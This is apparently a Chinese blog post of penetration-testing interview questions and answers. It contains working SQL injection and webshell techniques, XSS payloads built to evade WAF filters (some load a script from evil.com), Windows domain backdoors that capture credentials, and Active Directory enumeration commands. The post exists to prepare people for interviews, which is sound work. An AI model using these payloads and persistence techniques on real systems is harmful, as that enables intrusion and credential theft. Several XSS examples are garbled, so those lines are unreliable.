前几天面试了奇安信,总结了一下其二面的面试题,因为一面问题比较基础,所以没有整理出来,而二面就比较深入并且细致了,整理了一些问题的答案,没有整理的就是不太确定答案,大家可以自己查找资料,希望对大家有用。
1、sql注入的报错注入原理是什么?采取的函数有什么?
答:页面能够相应详细的SQL数据库语法错误并错误信息可控的时候,我们可以采用报错注入。
updatexml(目标文件名,xml文件路径,修改后内容):更新xml文档
extractvalue(xml文档名,xml文件路径):从目标xml文件中返回所查询的字符串
2、报错注入利用updatexml、extractvalue函数分别的原理是什么?
updatexml利用方法:通过xml文件路径不合法,数据库则会返回XPATH路径解析错误,而将xml文件路径替换成查询语句,则错误信息会根据XPATH错误一起泄露出来,例如:XPATH syntax error: '~security~'
extractvalue利用方法:两者原理类似,通过XPATH路径报错将数据库信息泄露
3、MSSQL若在禁用堆叠注入的情况,在已知有sql注入点的情况下,你会如何构造sql语句执行shell?
4、MSSQL若可以使用堆叠注入,但是 xp_cmdshell 这个函数被 waf 过滤了,你会怎么做?
5、thinkphp 的默认 web 路径是什么?
不同版本路径不同,可以根据源代码查看web路径
6、你有跟进最新漏洞的习惯吗?最新跟进的一个漏洞是什么?
7、xss 注入若括号被 waf 过滤了,你会怎么做?
(1) 反引号模板字符串
使用反引号(
`
)包裹代码,直接执行:<img src=x οnerrοr=`alert\`1\``>
反引号内的代码会被直接执行。
(2) 标签事件属性
利用 HTML 标签的事件属性(如
onerror
、onload
)执行代码:<img src=x οnerrοr=alert`1`>(3) JavaScript URL 协议
使用
javascript:
协议直接执行代码:<a href=javascript:alert`1`>Click me</a>
2. 使用 HTML 实体编码
将括号编码为 HTML 实体,绕过 WAF 过滤。
(1) 编码括号
左括号
(
:(
右括号
)
:)
示例:
<img src=x οnerrοr=alert(1)>(2) 混合编码
结合多种编码方式:
<img src=x οnerrοr=alert(1)>
3. 使用 JavaScript 函数构造
通过字符串拼接或函数构造绕过括号限制。
(1) 字符串拼接
使用
String.fromCharCode
构造代码:<img src=x οnerrοr=eval`String.fromCharCode\`97,108,101,114,116,40,49,41\``>(2) 函数构造
使用
Function
构造函数:<img src=x οnerrοr=Function`alert\`1\``>
4. 利用 DOM 操作
通过 DOM 操作动态创建脚本或事件。
(1) 动态创建脚本
使用
document.createElement
创建脚本:<img src=x οnerrοr=document.createElement`script`.src=`//evil.com/xss.js`>(2) 动态绑定事件
使用
addEventListener
绑定事件:<img src=x οnerrοr=document.body.addEventListener`load`,alert`1``>
5. 利用 SVG 标签
SVG 标签支持 JavaScript 执行,且语法灵活。
(1) 内联脚本
在 SVG 中嵌入脚本:
<svg><script>alert`1`</script></svg>(2) 事件属性
使用 SVG 的事件属性:
<svg οnlοad=alert`1`></svg>
6. 利用 CSS 表达式(IE 特有)
在 IE 浏览器中,CSS 表达式可以执行 JavaScript。
(1) 示例
<div style="width: expression(alert`1`)"></div>
7. 利用 HTML5 新特性
HTML5 提供了新的标签和属性,可用于绕过 WAF。
(1)
<details>
标签
利用
<details>
标签的ontoggle
事件:<details open οntοggle=alert`1`></details>(2)
<iframe>
的srcdoc
属性
使用
srcdoc
嵌入 HTML:<iframe srcdoc="<img src=x οnerrοr=alert`1`>"></iframe>
8. 利用 WAF 规则缺陷
大小写混淆:
<img src=x οnerrοr=AlErT`1`>多余字符干扰:
<img src=x οnerrοr=alert(1);//
9. 利用外部资源加载
通过外部资源加载恶意脚本。
(1) 加载远程脚本
<script src=//evil.com/xss.js></script>(2) 动态加载脚本
<img src=x οnerrοr=document.body.appendChild(document.createElement`script`).src=`//evil.com/xss.js`>
8、内网中如何进行权限维持?
https://www.cnblogs.com/lcxblogs/p/14216525.html
操作系统后门:
1)粘滞键后门
2)注册表注入后门
3)计划任务后门
域内后门:
1)Golden ticket&Silver ticket维系权限
2)万能钥匙:即给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理就是对 lsass.exe 进行注入,所以重启后会失效,不需要重启
3)SSP维持域控权限(若获得了SYSTEM权限,可使用此方法持久化):通过注册一个 恶意的 SSP DLL 到系统中,使其被 lsass.exe 加载。该 DLL 会挂钩(Hook)身份验证流程,从而截获凭据
9、获得到内网权限后,你会对域中做什么事情?
这个与第14问类似,可以参考
10、sql 注入在只能进行时间盲注的情况下,sleep、benchmark等函数被 waf 过滤后,有什么其他的办法?
1)通过执行复杂的函数,导致时间延迟
2)使用字符串操作函数,通过大量字符拼接或重复操作占用CPU时间
3)递归查询(需数据库支持)
4)数学运算,如POW(2*1000000)执行大量数学运算
5)对sleep等函数进行混淆
11、sql 注入如何 getshell?
1)通过into outfile函数上传webshell(前提是有web路径、secure_file_priv为空或者路径为web路径)
2)慢日志查询getshell
3)sqlmap --os-shell参数
12、sql 注入上传 webshell 如何找到 web 路径?
1)查看这是否是某种框架,找到其源码查看其web路径
2)进行猜测尝试,是否正确
3)是否有上传路径不正确等报错语句,若有可以通过这个进行查找
4)通过已知图片、js文件、css文件反推
13、对于新漏洞,你有进行复现吗?是对源码进行一步步调试还是看别人的思路?
14、在域中如何查看域中的关系?
收集域内用户、组、计算机、策略、信任关系等关键信息
1. 确认当前环境与权限
查看当前用户信息:
whoami /all # 查看当前用户权限及组 net user %username% /domain # 查看当前域用户详细信息确认域信息:
net config workstation # 获取当前域名称及登录服务器 nltest /domain_trusts # 列出域信任关系2. 枚举用户与组
域用户列表:
net user /domain # 列出所有域用户 Get-ADUser -Filter * -Properties * # PowerShell获取用户详细信息(需AD模块)域组列表:
net group /domain # 列出所有域组 net group "Domain Admins" /domain # 查看域管理员组成员 Get-ADGroup -Filter * # PowerShell获取组信息3. 枚举计算机与服务器
域内计算机列表:
net view /domain:DomainName # 列出域内主机 Get-ADComputer -Filter * # PowerShell获取所有计算机对象定位域控制器(DC):
nltest /dclist:DomainName # 列出所有域控制器 Get-ADDomainController -Filter * # PowerShell获取DC信息4. 组策略枚举(GPO)
查询组策略对象:
gpresult /r # 查看当前用户的策略结果 Get-GPO -All # PowerShell列出所有GPO(需GroupPolicy模块)导出GPO详细信息:
Get-GPOReport -All -ReportType Html -Path C:\gpo_report.html5. 服务账户与SPN枚举
查找服务账户(Kerberoasting):
setspn -T DomainName -Q */* # 列出所有SPN(服务主体名称) Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName6. 共享与网络资源
枚举共享文件夹:
net view \\DC01 /all # 查看域控制器共享 Get-SmbShare -CimSession DC01 # PowerShell获取共享列表7. OU(组织单位)结构
枚举组织单位:
Get-ADOrganizationalUnit -Filter * | Format-Table Name, DistinguishedName8. 密码策略与域策略
查看域密码策略:
net accounts /domain # 密码策略(锁定阈值、有效期等) Get-ADDefaultDomainPasswordPolicy # PowerShell获取详细策略9. 敏感数据搜索
查找域管理员登录历史:
# 从事件日志中查询(需管理员权限) Get-WinEvent -LogName Security -FilterXPath 'Event[System[(EventID=4624)] and EventData[Data[@Name="TargetUserName"]="Domain Admin"]'10. 使用PowerView深入枚举
加载PowerView脚本(无需安装模块):
Import-Module .\PowerView.ps1 # 本地加载PowerView高级查询示例:
Get-NetUser -SPN # 获取所有SPN用户 Invoke-ShareFinder # 查找域内所有共享 Get-DomainTrust # 枚举域信任关系11. 导出数据与整理
导出所有用户信息到文件:
Get-ADUser -Filter * -Properties * | Export-Csv -Path C:\users.csv生成域关系图:
使用 BloodHound 自动分析:
Invoke-BloodHound -CollectionMethod All -Domain DomainName -OutputDirectory C:\BloodHound_Data
15、短信验证码一般会在一定时间内只能发送一次,但是 yakit 中有一个功能就是能够使用并发方式使短信在短时间内发送大量短信,那么这是程序什么问题导致的,你会如何解决?
16、你有什么常用的工具?sqlmap 如果你要指定使用的注入方法,参数是什么?
sqlmap指定使用的注入方法:
(1) 指定单一注入技术
基于布尔的盲注:
sqlmap -u "http://example.com/page?id=1" --technique=B基于错误的注入:
sqlmap -u "http://example.com/page?id=1" --technique=E联合查询注入:
sqlmap -u "http://example.com/page?id=1" --technique=U(2) 指定多种注入技术
同时使用 布尔盲注 和 时间盲注:
sqlmap -u "http://example.com/page?id=1" --technique=B,T(3) 排除特定注入技术
排除 堆叠查询注入 和 内联查询注入:
sqlmap -u "http://example.com/page?id=1" --technique=BEU
看到这里希望大家都能拿到奇安信的offer!这里是hoosh爱吃小笼包,咱们下次再见!